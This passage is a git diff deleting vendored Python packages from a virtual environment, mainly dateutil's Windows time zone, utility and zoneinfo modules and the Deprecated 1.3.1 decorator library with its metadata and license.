__init__(self): - raise NotImplementedError('tzwinbase is an abstract base class') - - def __eq__(self, other): - # Compare on all relevant dimensions, including name. - if not isinstance(other, tzwinbase): - return NotImplemented - - return (self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset and - self._stddayofweek == other._stddayofweek and - self._dstdayofweek == other._dstdayofweek and - self._stdweeknumber == other._stdweeknumber and - self._dstweeknumber == other._dstweeknumber and - self._stdhour == other._stdhour and - self._dsthour == other._dsthour and - self._stdminute == other._stdminute and - self._dstminute == other._dstminute and - self._std_abbr == other._std_abbr and - self._dst_abbr == other._dst_abbr) - - @staticmethod - def list(): - """Return a list of all time zones known to the system.""" - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - with winreg.OpenKey(handle, TZKEYNAME) as tzkey: - result = [winreg.EnumKey(tzkey, i) - for i in range(winreg.QueryInfoKey(tzkey)[0])] - return result - - def display(self): - """ - Return the display name of the time zone. - """ - return self._display - - def transitions(self, year): - """ - For a given year, get the DST on and off transition times, expressed - always on the standard time side. For zones with no transitions, this - function returns ``None``. - - :param year: - The year whose transitions you would like to query. - - :return: - Returns a :class:`tuple` of :class:`datetime.datetime` objects, - ``(dston, dstoff)`` for zones with an annual DST transition, or - ``None`` for fixed offset zones. - """ - - if not self.hasdst: - return None - - dston = picknthweekday(year, self._dstmonth, self._dstdayofweek, - self._dsthour, self._dstminute, - self._dstweeknumber) - - dstoff = picknthweekday(year, self._stdmonth, self._stddayofweek, - self._stdhour, self._stdminute, - self._stdweeknumber) - - # Ambiguous dates default to the STD side - dstoff -= self._dst_base_offset - - return dston, dstoff - - def _get_hasdst(self): - return self._dstmonth != 0 - - @property - def _dst_base_offset(self): - return self._dst_base_offset_ - - -class tzwin(tzwinbase): - """ - Time zone object created from the zone info in the Windows registry - - These are similar to :py:class:`dateutil.tz.tzrange` objects in that - the time zone data is provided in the format of a single offset rule - for either 0 or 2 time zone transitions per year. - - :param: name - The name of a Windows time zone key, e.g. "Eastern Standard Time". - The full list of keys can be retrieved with :func:`tzwin.list`. - """ - - def __init__(self, name): - self._name = name - - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - tzkeyname = text_type("{kn}\\{name}").format(kn=TZKEYNAME, name=name) - with winreg.OpenKey(handle, tzkeyname) as tzkey: - keydict = valuestodict(tzkey) - - self._std_abbr = keydict["Std"] - self._dst_abbr = keydict["Dlt"] - - self._display = keydict["Display"] - - # See http://ww_winreg.jsiinc.com/SUBA/tip0300/rh0398.htm - tup = struct.unpack("=3l16h", keydict["TZI"]) - stdoffset = -tup[0]-tup[1] # Bias + StandardBias * -1 - dstoffset = stdoffset-tup[2] # + DaylightBias * -1 - self._std_offset = datetime.timedelta(minutes=stdoffset) - self._dst_offset = datetime.timedelta(minutes=dstoffset) - - # for the meaning see the win32 TIME_ZONE_INFORMATION structure docs - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms725481(v=vs.85).aspx - (self._stdmonth, - self._stddayofweek, # Sunday = 0 - self._stdweeknumber, # Last = 5 - self._stdhour, - self._stdminute) = tup[4:9] - - (self._dstmonth, - self._dstdayofweek, # Sunday = 0 - self._dstweeknumber, # Last = 5 - self._dsthour, - self._dstminute) = tup[12:17] - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = self._get_hasdst() - - def __repr__(self): - return "tzwin(%s)" % repr(self._name) - - def __reduce__(self): - return (self.__class__, (self._name,)) - - -class tzwinlocal(tzwinbase): - """ - Class representing the local time zone information in the Windows registry - - While :class:`dateutil.tz.tzlocal` makes system calls (via the :mod:`time` - module) to retrieve time zone information, ``tzwinlocal`` retrieves the - rules directly from the Windows registry and creates an object like - :class:`dateutil.tz.tzwin`. - - Because Windows does not have an equivalent of :func:`time.tzset`, on - Windows, :class:`dateutil.tz.tzlocal` instances will always reflect the - time zone settings *at the time that the process was started*, meaning - changes to the machine's time zone settings during the run of a program - on Windows will **not** be reflected by :class:`dateutil.tz.tzlocal`. - Because ``tzwinlocal`` reads the registry directly, it is unaffected by - this issue. - """ - def __init__(self): - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - with winreg.OpenKey(handle, TZLOCALKEYNAME) as tzlocalkey: - keydict = valuestodict(tzlocalkey) - - self._std_abbr = keydict["StandardName"] - self._dst_abbr = keydict["DaylightName"] - - try: - tzkeyname = text_type('{kn}\\{sn}').format(kn=TZKEYNAME, - sn=self._std_abbr) - with winreg.OpenKey(handle, tzkeyname) as tzkey: - _keydict = valuestodict(tzkey) - self._display = _keydict["Display"] - except OSError: - self._display = None - - stdoffset = -keydict["Bias"]-keydict["StandardBias"] - dstoffset = stdoffset-keydict["DaylightBias"] - - self._std_offset = datetime.timedelta(minutes=stdoffset) - self._dst_offset = datetime.timedelta(minutes=dstoffset) - - # For reasons unclear, in this particular key, the day of week has been - # moved to the END of the SYSTEMTIME structure. - tup = struct.unpack("=8h", keydict["StandardStart"]) - - (self._stdmonth, - self._stdweeknumber, # Last = 5 - self._stdhour, - self._stdminute) = tup[1:5] - - self._stddayofweek = tup[7] - - tup = struct.unpack("=8h", keydict["DaylightStart"]) - - (self._dstmonth, - self._dstweeknumber, # Last = 5 - self._dsthour, - self._dstminute) = tup[1:5] - - self._dstdayofweek = tup[7] - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = self._get_hasdst() - - def __repr__(self): - return "tzwinlocal()" - - def __str__(self): - # str will return the standard name, not the daylight name. - return "tzwinlocal(%s)" % repr(self._std_abbr) - - def __reduce__(self): - return (self.__class__, ()) - - -def picknthweekday(year, month, dayofweek, hour, minute, whichweek): - """ dayofweek == 0 means Sunday, whichweek 5 means last instance """ - first = datetime.datetime(year, month, 1, hour, minute) - - # This will work if dayofweek is ISO weekday (1-7) or Microsoft-style (0-6), - # Because 7 % 7 = 0 - weekdayone = first.replace(day=((dayofweek - first.isoweekday()) % 7) + 1) - wd = weekdayone + ((whichweek - 1) * ONEWEEK) - if (wd.month != month): - wd -= ONEWEEK - - return wd - - -def valuestodict(key): - """Convert a registry key's values to a dictionary.""" - dout = {} - size = winreg.QueryInfoKey(key)[1] - tz_res = None - - for i in range(size): - key_name, value, dtype = winreg.EnumValue(key, i) - if dtype == winreg.REG_DWORD or dtype == winreg.REG_DWORD_LITTLE_ENDIAN: - # If it's a DWORD (32-bit integer), it's stored as unsigned - convert - # that to a proper signed integer - if value & (1 << 31): - value = value - (1 << 32) - elif dtype == winreg.REG_SZ: - # If it's a reference to the tzres DLL, load the actual string - if value.startswith('@tzres'): - tz_res = tz_res or tzres() - value = tz_res.name_from_string(value) - - value = value.rstrip('\x00') # Remove trailing nulls - - dout[key_name] = value - - return dout diff --git a/venv/Lib/site-packages/dateutil/tzwin.py b/venv/Lib/site-packages/dateutil/tzwin.py deleted file mode 100644 index cebc673e40fc376653ebf037e96f0a6d0b33e906..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/tzwin.py +++ /dev/null @@ -1,2 +0,0 @@ -# tzwin has moved to dateutil.tz.win -from .tz.win import * diff --git a/venv/Lib/site-packages/dateutil/utils.py b/venv/Lib/site-packages/dateutil/utils.py deleted file mode 100644 index dd2d245a0bebcd5fc37ac20526aabbd5358dab0e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/utils.py +++ /dev/null @@ -1,71 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers general convenience and utility functions for dealing with -datetimes. - -.. versionadded:: 2.7.0 -""" -from __future__ import unicode_literals - -from datetime import datetime, time - - -def today(tzinfo=None): - """ - Returns a :py:class:`datetime` representing the current day at midnight - - :param tzinfo: - The time zone to attach (also used to determine the current day). - - :return: - A :py:class:`datetime.datetime` object representing the current day - at midnight. - """ - - dt = datetime.now(tzinfo) - return datetime.combine(dt.date(), time(0, tzinfo=tzinfo)) - - -def default_tzinfo(dt, tzinfo): - """ - Sets the ``tzinfo`` parameter on naive datetimes only - - This is useful for example when you are provided a datetime that may have - either an implicit or explicit time zone, such as when parsing a time zone - string. - - .. doctest:: - - >>> from dateutil.tz import tzoffset - >>> from dateutil.parser import parse - >>> from dateutil.utils import default_tzinfo - >>> dflt_tz = tzoffset("EST", -18000) - >>> print(default_tzinfo(parse('2014-01-01 12:30 UTC'), dflt_tz)) - 2014-01-01 12:30:00+00:00 - >>> print(default_tzinfo(parse('2014-01-01 12:30'), dflt_tz)) - 2014-01-01 12:30:00-05:00 - - :param dt: - The datetime on which to replace the time zone - - :param tzinfo: - The :py:class:`datetime.tzinfo` subclass instance to assign to - ``dt`` if (and only if) it is naive. - - :return: - Returns an aware :py:class:`datetime.datetime`. - """ - if dt.tzinfo is not None: - return dt - else: - return dt.replace(tzinfo=tzinfo) - - -def within_delta(dt1, dt2, delta): - """ - Useful for comparing two datetimes that may have a negligible difference - to be considered equal. - """ - delta = abs(delta) - difference = dt1 - dt2 - return -delta <= difference <= delta diff --git a/venv/Lib/site-packages/dateutil/zoneinfo/__init__.py b/venv/Lib/site-packages/dateutil/zoneinfo/__init__.py deleted file mode 100644 index 34f11ad66c88047f2c049a4cdcc937b4b78ea6d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/zoneinfo/__init__.py +++ /dev/null @@ -1,167 +0,0 @@ -# -*- coding: utf-8 -*- -import warnings -import json - -from tarfile import TarFile -from pkgutil import get_data -from io import BytesIO - -from dateutil.tz import tzfile as _tzfile - -__all__ = ["get_zonefile_instance", "gettz", "gettz_db_metadata"] - -ZONEFILENAME = "dateutil-zoneinfo.tar.gz" -METADATA_FN = 'METADATA' - - -class tzfile(_tzfile): - def __reduce__(self): - return (gettz, (self._filename,)) - - -def getzoneinfofile_stream(): - try: - return BytesIO(get_data(__name__, ZONEFILENAME)) - except IOError as e: # TODO switch to FileNotFoundError? - warnings.warn("I/O error({0}): {1}".format(e.errno, e.strerror)) - return None - - -class ZoneInfoFile(object): - def __init__(self, zonefile_stream=None): - if zonefile_stream is not None: - with TarFile.open(fileobj=zonefile_stream) as tf: - self.zones = {zf.name: tzfile(tf.extractfile(zf), filename=zf.name) - for zf in tf.getmembers() - if zf.isfile() and zf.name != METADATA_FN} - # deal with links: They'll point to their parent object. Less - # waste of memory - links = {zl.name: self.zones[zl.linkname] - for zl in tf.getmembers() if - zl.islnk() or zl.issym()} - self.zones.update(links) - try: - metadata_json = tf.extractfile(tf.getmember(METADATA_FN)) - metadata_str = metadata_json.read().decode('UTF-8') - self.metadata = json.loads(metadata_str) - except KeyError: - # no metadata in tar file - self.metadata = None - else: - self.zones = {} - self.metadata = None - - def get(self, name, default=None): - """ - Wrapper for :func:`ZoneInfoFile.zones.get`. This is a convenience method - for retrieving zones from the zone dictionary. - - :param name: - The name of the zone to retrieve. (Generally IANA zone names) - - :param default: - The value to return in the event of a missing key. - - .. versionadded:: 2.6.0 - - """ - return self.zones.get(name, default) - - -# The current API has gettz as a module function, although in fact it taps into -# a stateful class. So as a workaround for now, without changing the API, we -# will create a new "global" class instance the first time a user requests a -# timezone. Ugly, but adheres to the api. -# -# TODO: Remove after deprecation period. -_CLASS_ZONE_INSTANCE = [] - - -def get_zonefile_instance(new_instance=False): - """ - This is a convenience function which provides a :class:`ZoneInfoFile` - instance using the data provided by the ``dateutil`` package. By default, it - caches a single instance of the ZoneInfoFile object and returns that. - - :param new_instance: - If ``True``, a new instance of :class:`ZoneInfoFile` is instantiated and - used as the cached instance for the next call. Otherwise, new instances - are created only as necessary. - - :return: - Returns a :class:`ZoneInfoFile` object. - - .. versionadded:: 2.6 - """ - if new_instance: - zif = None - else: - zif = getattr(get_zonefile_instance, '_cached_instance', None) - - if zif is None: - zif = ZoneInfoFile(getzoneinfofile_stream()) - - get_zonefile_instance._cached_instance = zif - - return zif - - -def gettz(name): - """ - This retrieves a time zone from the local zoneinfo tarball that is packaged - with dateutil. - - :param name: - An IANA-style time zone name, as found in the zoneinfo file. - - :return: - Returns a :class:`dateutil.tz.tzfile` time zone object. - - .. warning:: - It is generally inadvisable to use this function, and it is only - provided for API compatibility with earlier versions. This is *not* - equivalent to ``dateutil.tz.gettz()``, which selects an appropriate - time zone based on the inputs, favoring system zoneinfo. This is ONLY - for accessing the dateutil-specific zoneinfo (which may be out of - date compared to the system zoneinfo). - - .. deprecated:: 2.6 - If you need to use a specific zoneinfofile over the system zoneinfo, - instantiate a :class:`dateutil.zoneinfo.ZoneInfoFile` object and call - :func:`dateutil.zoneinfo.ZoneInfoFile.get(name)` instead. - - Use :func:`get_zonefile_instance` to retrieve an instance of the - dateutil-provided zoneinfo. - """ - warnings.warn("zoneinfo.gettz() will be removed in future versions, " - "to use the dateutil-provided zoneinfo files, instantiate a " - "ZoneInfoFile object and use ZoneInfoFile.zones.get() " - "instead. See the documentation for details.", - DeprecationWarning) - - if len(_CLASS_ZONE_INSTANCE) == 0: - _CLASS_ZONE_INSTANCE.append(ZoneInfoFile(getzoneinfofile_stream())) - return _CLASS_ZONE_INSTANCE[0].zones.get(name) - - -def gettz_db_metadata(): - """ Get the zonefile metadata - - See `zonefile_metadata`_ - - :returns: - A dictionary with the database metadata - - .. deprecated:: 2.6 - See deprecation warning in :func:`zoneinfo.gettz`. To get metadata, - query the attribute ``zoneinfo.ZoneInfoFile.metadata``. - """ - warnings.warn("zoneinfo.gettz_db_metadata() will be removed in future " - "versions, to use the dateutil-provided zoneinfo files, " - "ZoneInfoFile object and query the 'metadata' attribute " - "instead. See the documentation for details.", - DeprecationWarning) - - if len(_CLASS_ZONE_INSTANCE) == 0: - _CLASS_ZONE_INSTANCE.append(ZoneInfoFile(getzoneinfofile_stream())) - return _CLASS_ZONE_INSTANCE[0].metadata diff --git a/venv/Lib/site-packages/dateutil/zoneinfo/dateutil-zoneinfo.tar.gz b/venv/Lib/site-packages/dateutil/zoneinfo/dateutil-zoneinfo.tar.gz deleted file mode 100644 index ff62a934a5009337271c60501278a7a34913a20b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/zoneinfo/dateutil-zoneinfo.tar.gz +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d3ea52e7b6e968de0d884df1288193596fa95b803db4f92a18279a7398004475 -size 156400 diff --git a/venv/Lib/site-packages/dateutil/zoneinfo/rebuild.py b/venv/Lib/site-packages/dateutil/zoneinfo/rebuild.py deleted file mode 100644 index 684c6586f091350c347f2b6150935f5214ffec27..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/zoneinfo/rebuild.py +++ /dev/null @@ -1,75 +0,0 @@ -import logging -import os -import tempfile -import shutil -import json -from subprocess import check_call, check_output -from tarfile import TarFile - -from dateutil.zoneinfo import METADATA_FN, ZONEFILENAME - - -def rebuild(filename, tag=None, format="gz", zonegroups=[], metadata=None): - """Rebuild the internal timezone info in dateutil/zoneinfo/zoneinfo*tar* - - filename is the timezone tarball from ``ftp.iana.org/tz``. - - """ - tmpdir = tempfile.mkdtemp() - zonedir = os.path.join(tmpdir, "zoneinfo") - moduledir = os.path.dirname(__file__) - try: - with TarFile.open(filename) as tf: - for name in zonegroups: - tf.extract(name, tmpdir) - filepaths = [os.path.join(tmpdir, n) for n in zonegroups] - - _run_zic(zonedir, filepaths) - - # write metadata file - with open(os.path.join(zonedir, METADATA_FN), 'w') as f: - json.dump(metadata, f, indent=4, sort_keys=True) - target = os.path.join(moduledir, ZONEFILENAME) - with TarFile.open(target, "w:%s" % format) as tf: - for entry in os.listdir(zonedir): - entrypath = os.path.join(zonedir, entry) - tf.add(entrypath, entry) - finally: - shutil.rmtree(tmpdir) - - -def _run_zic(zonedir, filepaths): - """Calls the ``zic`` compiler in a compatible way to get a "fat" binary. - - Recent versions of ``zic`` default to ``-b slim``, while older versions - don't even have the ``-b`` option (but default to "fat" binaries). The - current version of dateutil does not support Version 2+ TZif files, which - causes problems when used in conjunction with "slim" binaries, so this - function is used to ensure that we always get a "fat" binary. - """ - - try: - help_text = check_output(["zic", "--help"]) - except OSError as e: - _print_on_nosuchfile(e) - raise - - if b"-b " in help_text: - bloat_args = ["-b", "fat"] - else: - bloat_args = [] - - check_call(["zic"] + bloat_args + ["-d", zonedir] + filepaths) - - -def _print_on_nosuchfile(e): - """Print helpful troubleshooting message - - e is an exception raised by subprocess.check_call() - - """ - if e.errno == 2: - logging.error( - "Could not find zic. Perhaps you need to install " - "libc-bin or some other package that provides it, " - "or it's not in your PATH?") diff --git a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/INSTALLER b/venv/Lib/site-packages/deprecated-1.3.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/METADATA b/venv/Lib/site-packages/deprecated-1.3.1.dist-info/METADATA deleted file mode 100644 index 734ee9fe4601d6beecfa6d4eaa1610d0b0fd0b30..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/METADATA +++ /dev/null @@ -1,199 +0,0 @@ -Metadata-Version: 2.4 -Name: Deprecated -Version: 1.3.1 -Summary: Python @deprecated decorator to deprecate old python classes, functions or methods. -Home-page: https://github.com/laurent-laporte-pro/deprecated -Author: Laurent LAPORTE -Author-email: laurent.laporte.pro@gmail.com -License: MIT -Project-URL: Documentation, https://deprecated.readthedocs.io/en/latest/ -Project-URL: Source, https://github.com/laurent-laporte-pro/deprecated -Project-URL: Bug Tracker, https://github.com/laurent-laporte-pro/deprecated/issues -Keywords: deprecate,deprecated,deprecation,warning,warn,decorator -Platform: any -Classifier: Development Status :: 5 - Production/Stable -Classifier: Environment :: Web Environment -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: MIT License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.4 -Classifier: Programming Language :: Python :: 3.5 -Classifier: Programming Language :: Python :: 3.6 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.* -Description-Content-Type: text/x-rst -License-File: LICENSE.rst -Requires-Dist: wrapt<3,>=1.10 -Requires-Dist: inspect2; python_version < "3" -Provides-Extra: dev -Requires-Dist: tox; extra == "dev" -Requires-Dist: PyTest; extra == "dev" -Requires-Dist: PyTest-Cov; extra == "dev" -Requires-Dist: bump2version<1; extra == "dev" -Requires-Dist: setuptools; python_version >= "3.12" and extra == "dev" -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: description-content-type -Dynamic: home-page -Dynamic: keywords -Dynamic: license -Dynamic: license-file -Dynamic: platform -Dynamic: project-url -Dynamic: provides-extra -Dynamic: requires-dist -Dynamic: requires-python -Dynamic: summary - - -Deprecated Library ------------------- - -Deprecated is Easy to Use -````````````````````````` - -If you need to mark a function or a method as deprecated, -you can use the ``@deprecated`` decorator: - -Save in a hello.py: - -.. code:: python - - from deprecated import deprecated - - - @deprecated(version='1.2.1', reason="You should use another function") - def some_old_function(x, y): - return x + y - - - class SomeClass(object): - @deprecated(version='1.3.0', reason="This method is deprecated") - def some_old_method(self, x, y): - return x + y - - - some_old_function(12, 34) - obj = SomeClass() - obj.some_old_method(5, 8) - - -And Easy to Setup -````````````````` - -And run it: - -.. code:: bash - - $ pip install Deprecated - $ python hello.py - hello.py:15: DeprecationWarning: Call to deprecated function (or staticmethod) some_old_function. - (You should use another function) -- Deprecated since version 1.2.0. - some_old_function(12, 34) - hello.py:17: DeprecationWarning: Call to deprecated method some_old_method. - (This method is deprecated) -- Deprecated since version 1.3.0. - obj.some_old_method(5, 8) - - -You can document your code -`````````````````````````` - -Have you ever wonder how to document that some functions, classes, methods, etc. are deprecated? -This is now possible with the integrated Sphinx directives: - -For instance, in hello_sphinx.py: - -.. code:: python - - from deprecated.sphinx import deprecated - from deprecated.sphinx import versionadded - from deprecated.sphinx import versionchanged - - - @versionadded(version='1.0', reason="This function is new") - def function_one(): - '''This is the function one''' - - - @versionchanged(version='1.0', reason="This function is modified") - def function_two(): - '''This is the function two''' - - - @deprecated(version='1.0', reason="This function will be removed soon") - def function_three(): - '''This is the function three''' - - - function_one() - function_two() - function_three() # warns - - help(function_one) - help(function_two) - help(function_three) - - -The result it immediate -``````````````````````` - -Run it: - -.. code:: bash - - $ python hello_sphinx.py - - hello_sphinx.py:23: DeprecationWarning: Call to deprecated function (or staticmethod) function_three. - (This function will be removed soon) -- Deprecated since version 1.0. - function_three() # warns - - Help on function function_one in module __main__: - - function_one() - This is the function one - - .. versionadded:: 1.0 - This function is new - - Help on function function_two in module __main__: - - function_two() - This is the function two - - .. versionchanged:: 1.0 - This function is modified - - Help on function function_three in module __main__: - - function_three() - This is the function three - - .. deprecated:: 1.0 - This function will be removed soon - - -Links -````` - -* `Python package index (PyPi) `_ -* `GitHub website `_ -* `Read The Docs `_ -* `EBook on Lulu.com `_ -* `StackOverFlow Q&A `_ -* `Development version - `_ - diff --git a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/RECORD b/venv/Lib/site-packages/deprecated-1.3.1.dist-info/RECORD deleted file mode 100644 index d6747c8d58c41233ab9452b134e3d0a77e6be95b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/RECORD +++ /dev/null @@ -1,14 +0,0 @@ -deprecated-1.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -deprecated-1.3.1.dist-info/METADATA,sha256=QJdnrCOHjBxpSIjOSsxD2razfvorQEmVZ_tcfZ3OWFI,5894 -deprecated-1.3.1.dist-info/RECORD,, -deprecated-1.3.1.dist-info/WHEEL,sha256=JNWh1Fm1UdwIQV075glCn4MVuCRs0sotJIq-J6rbxCU,109 -deprecated-1.3.1.dist-info/licenses/LICENSE.rst,sha256=HoPt0VvkGbXVveNy4yXlJ_9PmRX1SOfHUxS0H2aZ6Dw,1081 -deprecated-1.3.1.dist-info/top_level.txt,sha256=nHbOYawKPQQE5lQl-toUB1JBRJjUyn_m_Mb8RVJ0RjA,11 -deprecated/__init__.py,sha256=owN3nj3UYte9J327NJNf_hNQTJovl813H_Q7YKhFX9M,398 -deprecated/__pycache__/__init__.cpython-314.pyc,, -deprecated/__pycache__/classic.cpython-314.pyc,, -deprecated/__pycache__/params.cpython-314.pyc,, -deprecated/__pycache__/sphinx.cpython-314.pyc,, -deprecated/classic.py,sha256=vWW-8nVvEejx4P9sf75vleE9JWbETaha_Sa-Bf9Beyo,10649 -deprecated/params.py,sha256=_bWRXLZGi2qF-EmZfgWjGe2G15WZabhOH_9Ntvt42cc,2870 -deprecated/sphinx.py,sha256=cOKnXbDyFAwDr5O7HBEpgQrx-J-qfp57sfdK_LabDxs,11109 diff --git a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/WHEEL b/venv/Lib/site-packages/deprecated-1.3.1.dist-info/WHEEL deleted file mode 100644 index 5f133dbb5cfac001f2e84cda817210c03ce6484e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/WHEEL +++ /dev/null @@ -1,6 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.9.0) -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/licenses/LICENSE.rst b/venv/Lib/site-packages/deprecated-1.3.1.dist-info/licenses/LICENSE.rst deleted file mode 100644 index 191ddaf31642db9d52a7f32826043c6550c299d8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/licenses/LICENSE.rst +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2017 Laurent LAPORTE - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/top_level.txt b/venv/Lib/site-packages/deprecated-1.3.1.dist-info/top_level.txt deleted file mode 100644 index 9f8d5502dae589d488c5107e99768ae5023bb4ea..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated-1.3.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -deprecated diff --git a/venv/Lib/site-packages/deprecated/__init__.py b/venv/Lib/site-packages/deprecated/__init__.py deleted file mode 100644 index d9ace1f5d187aaf9fdcb9adf9b6a9b24aa7b1713..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -# -*- coding: utf-8 -*- -""" -Deprecated Library -================== - -Python ``@deprecated`` decorator to deprecate old python classes, functions or methods. - -""" - -__version__ = "1.3.1" -__author__ = u"Laurent LAPORTE " -__date__ = "2025-10-30" -__credits__ = "(c) Laurent LAPORTE" - -from deprecated.classic import deprecated -from deprecated.params import deprecated_params diff --git a/venv/Lib/site-packages/deprecated/classic.py b/venv/Lib/site-packages/deprecated/classic.py deleted file mode 100644 index 21ea98c704a28ab2d3ae67a2d9f5bc2db4c29059..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated/classic.py +++ /dev/null @@ -1,301 +0,0 @@ -# -*- coding: utf-8 -*- -""" -Classic deprecation warning -=========================== - -Classic ``@deprecated`` decorator to deprecate old python classes, functions or methods. - -.. _The Warnings Filter: https://docs.python.org/3/library/warnings.html#the-warnings-filter -""" -import functools -import inspect -import platform -import warnings - -import wrapt - -try: - # If the C extension for wrapt was compiled and wrapt/_wrappers.pyd exists, then the - # stack level that should be passed to warnings.warn should be 2. However, if using - # a pure python wrapt, an extra stacklevel is required. - import wrapt._wrappers - - _routine_stacklevel = 2 - _class_stacklevel = 2 -except ImportError: # pragma: no cover - _routine_stacklevel = 3 - if platform.python_implementation() == "PyPy": - _class_stacklevel = 2 - else: - _class_stacklevel = 3 - -string_types = (type(b''), type(u'')) - - -class ClassicAdapter(wrapt.AdapterFactory): - """ - Classic adapter -- *for advanced usage only* - - This adapter is used to get the deprecation message according to the wrapped object type: - class, function, standard method, static method, or class method. - - This is the base class of the :class:`~deprecated.sphinx.SphinxAdapter` class - which is used to update the wrapped object docstring. - - You can also inherit this class to change the deprecation message. - - In the following example, we change the message into "The ... is deprecated.": - - .. code-block:: python - - import inspect - - from deprecated.classic import ClassicAdapter - from deprecated.classic import deprecated - - - class MyClassicAdapter(ClassicAdapter): - def get_deprecated_msg(self, wrapped, instance): - if instance is None: - if inspect.isclass(wrapped): - fmt = "The class {name} is deprecated." - else: - fmt = "The function {name} is deprecated." - else: - if inspect.isclass(instance): - fmt = "The class method {name} is deprecated." - else: - fmt = "The method {name} is deprecated." - if self.reason: - fmt += " ({reason})" - if self.version: - fmt += " -- Deprecated since version {version}." - return fmt.format(name=wrapped.__name__, - reason=self.reason or "", - version=self.version or "") - - Then, you can use your ``MyClassicAdapter`` class like this in your source code: - - .. code-block:: python - - @deprecated(reason="use another function", adapter_cls=MyClassicAdapter) - def some_old_function(x, y): - return x + y - """ - - def __init__(self, reason="", version="", action=None, category=DeprecationWarning, extra_stacklevel=0): - """ - Construct a wrapper adapter. - - :type reason: str - :param reason: - Reason message which documents the deprecation in your library (can be omitted). - - :type version: str - :param version: - Version of your project which deprecates this feature. - If you follow the `Semantic Versioning `_, - the version number has the format "MAJOR.MINOR.PATCH". - - :type action: Literal["default", "error", "ignore", "always", "module", "once"] - :param action: - A warning filter used to activate or not the deprecation warning. - Can be one of "error", "ignore", "always", "default", "module", or "once". - If ``None`` or empty, the global filtering mechanism is used. - See: `The Warnings Filter`_ in the Python documentation. - - :type category: Type[Warning] - :param category: - The warning category to use for the deprecation warning. - By default, the category class is :class:`~DeprecationWarning`, - you can inherit this class to define your own deprecation warning category. - - :type extra_stacklevel: int - :param extra_stacklevel: - Number of additional stack levels to consider instrumentation rather than user code. - With the default value of 0, the warning refers to where the class was instantiated - or the function was called. - - .. versionchanged:: 1.2.15 - Add the *extra_stacklevel* parameter. - """ - self.reason = reason or "" - self.version = version or "" - self.action = action - self.category = category - self.extra_stacklevel = extra_stacklevel - super(ClassicAdapter, self).__init__() - - def get_deprecated_msg(self, wrapped, 